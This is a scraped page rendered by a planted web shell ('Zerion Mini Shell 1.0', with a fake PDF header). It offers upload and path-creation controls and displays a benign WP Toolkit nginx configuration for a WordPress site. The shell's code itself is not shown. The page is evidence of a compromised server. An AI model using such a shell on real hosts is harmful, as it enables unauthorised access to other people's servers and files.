%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/nginx/conf.d/users/festival/404festival.com/
Upload File :
Create Path :
Current File : //etc/nginx/conf.d/users/festival/404festival.com/wp-toolkit.conf

# This file is automatically generated by WP Toolkit.
# Please do not modify the contents of this file, because this can lead to reduced security or malfunctioning of your website.
# If the file was accidentally modified or otherwise damaged, you can regenerate it by deleting it and reapplying all security
# measures for this site in WP Toolkit UI.

    # "Block access to xmlrpc.php"
    # To remove this rule, revert this security measure on each WordPress installation on this domain
    location ~* xmlrpc.php { deny all; }

                        # "Enable hotlink protection"
        # To remove this rule, turn off this feature for WordPress installation #2
        if ($http_referer !~* "^$|^https?://(.*\.)?(404festival\.com|google\.com)(:|/|$)") {
            rewrite "^(?:/)wp-content/uploads/.*\.(gif|png|jpeg|jpg|svg)$" "/fake-hotlink-stub" last;
        }

        location = "/fake-hotlink-stub" {
            internal;
            if (!-f "/home/festival/public_html/wpt-hotlinked-image-stub.png") {
                return 403;
            }
            rewrite ^ "/wpt-hotlinked-image-stub.png" last;
        }

            # WordPress permalink
    # To remove this rule, add "wordpressPermalinkHandlingFeature = false" in the [ext-wp-toolkit] section of panel.ini
    # then reconfigure the current domain
    set $sef_entry_point /;
            if ($uri ~* "^/") {
            set $sef_entry_point "/index.php?$args";
        }
        location @wpt_permalinks_fallback {
        try_files $uri $sef_entry_point;
    }
    error_page 404 = @wpt_permalinks_fallback;
    error_page 405 = @wpt_permalinks_fallback;

Zerion Mini Shell 1.0